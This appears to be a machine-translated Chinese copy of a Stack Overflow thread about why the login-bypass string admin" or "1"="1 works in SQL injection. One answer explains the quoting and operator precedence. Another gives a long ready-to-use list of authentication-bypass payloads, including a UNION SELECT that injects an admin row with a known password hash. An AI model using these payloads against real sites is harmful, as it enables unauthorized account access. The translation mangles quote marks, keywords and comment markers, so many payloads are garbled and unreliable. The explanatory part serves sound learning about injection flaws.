admin“或” 1“ =” 1是什么意思?

时间:2018-12-08 23:48:51

标签: php sql security sql-injection

我在一个拥有运行SQL注入权限的网站上运行admin" or "1"="1。该网站配置错误,让我直接登录。

我不明白的是,为什么在最后一个数字1之后不需要双引号?

如果php的工作方式如下:username="admin" and password=md5("password"),则admin后的引号将关闭第一个引号。

"1" is closed, but I don't understand "1

有人可以帮我解释一下吗?

预先感谢

3 个答案:

答案 0 :(得分:1)

考虑应用程序中的SQL查询可能是什么。

您注意到的可能类似于select * from users where username="<<username>>" and password=md5("<<password>>")

在注入<<username>><<password>>之后,您仍然需要具有有效的SQL查询,否则应用程序将因错误而失败。

使用<<username>>进行注入,admin后的引号关闭用户名字符串,or "1"="1进行如下查询:

select * from users where username="admin" or "1"="1" and password=md5("<<password>>")

这是有效的,并且由于and的优先级高于or,因此它将获得名称为“ admin”的用户,或者该用户具有您在其他字段中输入的密码-不会问题。

如果在插入的字符串的末尾有一个引号,则查询将为select * from users where username="admin" or "1"="1"" and password=md5("<<password>>"),由于两个引号(由于引号的数量为奇数,很容易看到),该查询是无效的SQL。

答案 1 :(得分:0)

应用程序中的SQL查询将关闭最后1个双引号。

答案 2 :(得分:-1)

SQL注入模式 或1 = 1

或1 = 1-

或1 = 1#

或1 = 1 / *

admin'-

admin'#

admin'/ *

admin'或'1'='1

admin'或'1'='1'-

admin'或'1'='1'#

admin'或'1'='1'/ *

admin'or 1 = 1或''='

admin'或1 = 1

admin'或1 = 1-

admin'或1 = 1#

admin'或1 = 1 / *

admin')或('1'='1

admin')或('1'='1'-

admin')或('1'='1'#

admin')或('1'='1'/ *

admin')或'1'='1

admin')或'1'='1'-

admin')或'1'='1'#

admin')或'1'='1'/ *

1234'AND 1 = 0 UNION ALL SELECT'admin','81dc9bdb52d04dc20036dbd8313ed055

admin”-

admin”#

admin” / *

admin”或“ 1” =“ 1

admin”或“ 1” =“ 1”-

admin”或“ 1” =“ 1”#

admin”或“ 1” =“ 1” / *

admin”或1 = 1或““ =”

admin”或1 = 1

admin”或1 = 1-

admin”或1 = 1#

admin”或1 = 1 / *

admin“)或(” 1“ =” 1

admin”)或(“ 1” =“ 1”-

admin“)或(” 1“ =” 1“#

admin“)或(” 1“ =” 1“ / *

admin“)或” 1“ =” 1

admin“)或” 1“ =” 1“-

admin“)或” 1“ =” 1“#

admin“)或” 1“ =” 1“ / *

1234“ AND 1 = 0 UNION ALL SELECT” admin“,” 81dc9bdb52d04dc20036dbd8313ed055

希望这对您有帮助